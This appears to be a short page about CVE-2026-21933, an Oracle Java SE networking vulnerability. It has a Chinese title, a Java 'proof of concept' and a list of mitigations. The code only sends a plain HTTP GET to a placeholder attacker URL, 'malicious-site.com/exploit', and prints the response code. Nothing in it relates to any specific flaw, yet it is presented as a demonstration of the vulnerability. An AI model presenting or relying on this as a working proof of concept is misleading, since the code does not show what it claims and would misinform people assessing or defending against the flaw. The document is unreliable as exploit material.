CVE-2026-21933 Oracle Java SE Networking组件安全漏洞

import java.net.HttpURLConnection; import java.net.URL; /** * CVE-2026-21933 PoC - Oracle Java SE Networking Component Vulnerability * This PoC demonstrates attempting to trigger the networking vulnerability * Note: Actual exploitation requires specific conditions and user interaction */ public class CVE_2026_21933_PoC { public static void main(String[] args) { try { // Target vulnerable Oracle Java SE versions String targetUrl = "https://malicious-site.com/exploit"; // Create HTTP connection - vulnerability in Networking component URL url = new URL(targetUrl); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("GET"); conn.setConnectTimeout(5000); conn.setReadTimeout(5000); // Attempt connection - may trigger vulnerability int responseCode = conn.getResponseCode(); System.out.println("Response Code: " + responseCode); conn.disconnect(); } catch (Exception e) { System.err.println("Error occurred: " + e.getMessage()); e.printStackTrace(); } } } /* * Mitigation: * - Upgrade to patched Oracle Java SE versions * - Apply January 2026 Oracle Critical Patch Update * - Disable Java browser plugins if not needed * - Implement network filtering and monitoring */